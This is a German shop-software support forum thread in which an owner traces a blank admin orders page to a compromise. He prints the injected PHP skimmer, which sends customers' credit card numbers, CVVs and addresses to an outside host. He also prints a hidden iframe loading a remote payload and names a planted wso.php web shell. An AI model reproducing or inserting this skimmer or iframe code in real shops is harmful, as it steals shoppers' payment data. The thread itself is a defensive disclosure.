Seite für Bestellung wird im Admin-Bereich nicht angezeigt

[rob_shop]

In meinem Shop (Version 1.03) wird die Seite für die Bestellungen (Menü: Kunden->Bestellungen) nicht angezeigt (/admin/orders.php?cID=8). Egal von wo ich diese Seite aufrufe - sie bleibt immer leer. Im Browser wird auch keine einzige Zeile vom Seitenquelltext angezeigt. Hat jemand eine Idee ?

Gruß Rob



Linkback: https://www.modified-shop.org/forum/index.php?topic=7282.0

[hendrik]

Hast du am Shop was gebaut? Gings vorher?

Leere Seiten heißt fast immer. Ein Fehler (Error) ist aufgetreten und in deiner PHP-Konfiguration sind Fehlermeldungen unterdrückt => Leere Seite.

Frag mal deinen Hoster wie man PHP-Fehlermeldungen zulässt. Wenn du ne Meldung hast hat man nen guten Anhaltspunkt was bei dir hakt.

Gruß
Hen

[rob_shop]

Ich meine, dass es vorher funx hat, kann ich aber nicht mehr so genau sagen. Ich hab' das mit SSL und ohne ausgetestet -> kein Unterschied.
Im access.log hab' ich für die Seite den Eintrag:

... GET /admin/orders.php?cID=8 HTTP/1.1" 500 941 "http://www...

error.log sieht ganz normal aus. Hier wird die Seite nicht als fehlend etc. angezeigt. Die orders.php
existiert auch und auch Groß-/Kleinschreibung stimmt.

[DokuMan]

Da haben wir ja schon mal was: 500 = "Internal Server Error"
Du könntest die orders.php (ohne Modifikationen) nochmal neu hoch laden. Vielleicht bringt das ja schon mal was.

[rob_shop]

Ich hab' schon den ganzen Admin-Bereich hochgeladen - lediglich die configure.php
wurde geändert. Wenn ich einen 500-Fehler bekomme, dann müsste das doch auch in der error.log
drin stehen oder sehe ich das falsch ?

[GTB]

wie sieht denn deine htaccess aus ?

[rob_shop]

... so:

Code: [Auswählen]

<IfModule mod_setenvif.c>
  <IfDefine SSL>
    SetEnvIf User-Agent ".*MSIE.*" \
             nokeepalive ssl-unclean-shutdown \
             downgrade-1.0 force-response-1.0
  </IfDefine>
</IfModule>

# http://httpd.apache.org/docs/misc/rewriteguide.html
RewriteEngine on

#-- Sitemap
RewriteRule ^sitemap(.*)\.html$ /shop_content.php?coID=8 [qsappend,L]

##-- Kategorien
RewriteCond %{REQUEST_URI} (.*):::([_0-9]+):([_0-9]+)\.html$
RewriteRule (.*):::([_0-9]+):([_0-9]+)\.html$ /index.php?cPath=$2&page=$3 [qsappend,L]
RewriteCond %{REQUEST_URI} (.*):::([_0-9]+)\.html$
RewriteRule (.*):::([_0-9]+)\.html$ /index.php?cPath=$2 [qsappend,L]

##-- Produkte
RewriteRule (.*)::(.+)\.html$ /product_info.php?products_id=$2 [qsappend,L]

##-- Content
RewriteRule (.*):_:([0-9]+)\.html$ /shop_content.php?coID=$2 [qsappend,L]

##-- Manufacturers
RewriteCond %{REQUEST_URI} (.*):.:([_0-9]+):([_0-9]+)\.html$
RewriteRule (.*):.:([_0-9]+):([_0-9]+)\.html$ /index.php?manufacturers_id=$2&page=$3 [qsappend,L]
RewriteCond %{REQUEST_URI} (.*):.:([_0-9]+)\.html$
RewriteRule (.*):.:([0-9]+)\.html$ /index.php?manufacturers_id=$2 [qsappend,L]

ErrorDocument 400 /sitemap.html?error=400
ErrorDocument 401 /sitemap.html?error=401
ErrorDocument 402 /sitemap.html?error=402
ErrorDocument 403 /sitemap.html?error=403
ErrorDocument 404 /sitemap.html?error=404
ErrorDocument 500 /sitemap.html?error=500


[rob_shop]

so, hab's jetzt gefunden.

Ich habe mich aufklären lassen und vielleicht ist es ja manchen auch bekannt, dass es eine Schwachstelle in xt:Commerce und modified eCommerce Shopsoftware Shops gibt,
die es 'Eindringlingen' erlaubt, Ihre Trojaner zu platzieren und entsprechenden Schaden anzurichten.

Kein Unsinn!

Aufgrund dessen hat wohl der Provider gewisse Dateien blockiert und somit konnte z.B. die betroffene
/inc/base64todec.inc.php von dem Modul orders.php, das ja die Bestellübersicht anzeigt, nicht mehr aufgerufen werden. Ich hab' mir dann mal diese modifizierte Datei base64todec.inc.php angesehen und festgestellt, dass am Schluss der Datei folgender Code eingefügt wurde:

Code: PHP  [Auswählen]

if($order->info['cc_number']){
    @file("http://verisign.zzl.org/_counter.php?log=".base64_encode($order->info['cc_number'].'|'.$order->info['cc_expires'].'|'.$order->info['cc_cvv'].'|'.$order->billing['firstname'] . ' ' . $order->billing['lastname'].'|'.$order->billing['street_address'].'|'.$order->billing['postcode'].'|'.$order->billing['city'].'|'.$order->billing['state'].'|'.$order->billing['country']['title'].'|'.$_SERVER['HTTP_HOST'].'|'.'PlaceboUP777=*('));
}

... ganz schön dreist, wenn die Kreditkarteninfos so in der Welt verteilt werden.

Der zweite Angriffspunkt war die Datei /includes/header.php. Hier wurde ein Stück Javascript Code
eingefügt, dass - in lesbare Zeichen übersetzt - folgenden frame plaziert:

Code: PHP  [Auswählen]

><iframe src=http://www.vanderschootbv.nl/administrator/components/l.php width=0 height=0 style="visibility:none;"></iframe><
 

Bitte NICHT den link austesten, da sonst eine PDF-Datei heruntergeladen wird, die sich dann im System entsprechend platziert. Ich hab' zumindest mit WireShark so viel getestet, dass ich gesehen habe, dass regelmäßig entsprechende Pakete an Zielserver geschickt wurden.

Mein Hoster hat mir berichtet, dass es da wohl schon öfters Probleme mit diesen Shops gegeben haben muss und ihm war die Thematik gleich vertraut.

So, wie kann man aber die einzelnen PHP-Dateien editieren ?
Das hat man damit erreicht, dass zunächst im home-Verzeichnis des Shops eine Datei mit dem Namen
wso.php kopiert wurde. Das ist mit entsprechenden POST-Befehlen möglich. Diese Datei stellt eine
Art Konsole dar und mit der kann man alles auf dem Server machen, was man möchte.

Also ein regelmäßiger Blick in die Verzeichnisse und genannte Dateien ist vielleicht nicht schlecht.

Ich hoffe, dass ich bisschen helfen konnte.

1. A

[GTB]

Bei welchem Hoster bist du ?

[rob_shop]

profihost - super team

[Tomcraft]

Dein nächster Besuch auf dem FTP wird dir erneut diese Dateien auf den FTP bringen, wenn du die Ursache (deinen Viren-verseuchten PC) nicht in den Griff bekommst, siehe Antworten im Thema: Hacken des Shops möglich?

Grüße

Torsten

[rob_shop]

Dein nächster Besuch auf dem FTP wird dir erneut diese Dateien auf den FTP bringen, wenn du die Ursache (deinen Viren-verseuchten PC) nicht in den Griff bekommst, siehe Antworten im Thema: Hacken des Shops möglich?

Da gibt es keinen verseuchten PC - und das seit über 20 Jahren!
Es wäre auch komisch per FTP Dateien auf einen Server zu bringen wenn man gar nicht per FTP/Putty/WinSCP usw. drauf ist. Der Kunde hat mich auf das Ganze aufmerksam gemacht und der hat keinen Zugriff. Die Aussage ist also bisschen an den Haaren herbeigezogen und eher was für Home-Freaks

Gemäß LogFiles ist die entsprechende Datei per POST auf den Server gekommen. Ob es ein Fehler durch den Provider war oder durch 'injection' sei mal dahingestellt. Ich denke jedenfalls, dass sich aufgrund diese Eintrages einige User vielleicht mal Ihre Verzeichnisse bzw. die genannten Dateien ansehen. Lieber einmal mehr kontrollieren als den Schaden zu haben und nichts mehr verkaufen zu können.

Keine Software ist vollkommen und hier und da kann es mal vorkommen, dass eine 'Lücke' existiert. Also lieber Input aufnehmen und feststellen, ob so was möglich ist. Scheinbar ist dieses Problem
wohl doch bei Hostern bekannt (auch mit xt:Commerce) und von daher würde ich mich mal der Sache einfach annehmen ...

Also, nicht immer alles als 'Niedermache' aburteilen sondern als nützlichen Input. Keiner hat was gegen den Shop. Wer aber noch an ein sicheres System glaubt, der hat einige Jahre im Web verpasst. Das passiert übrigens auch bei viel teureren Shop-und CMS-Systemen.

Ich hoffe, dass ich trotz 'komischer' Antworten einige User mit dem Beitrag sensibilisiert habe. Man kennt jetzt betroffene Dateien und kann schonmal diese Stellen absichern...

Alles weitere wird sich ergeben.

[Tomcraft]

Wir prüfen natürlich solche Meldungen und nehmen es auch sehr ernst! Die Erfahrung der letzten Angriffe hat nur die Schwachstelle immer zum unvorsichtigen Shopbetreiber verlagert.

Grüße

Torsten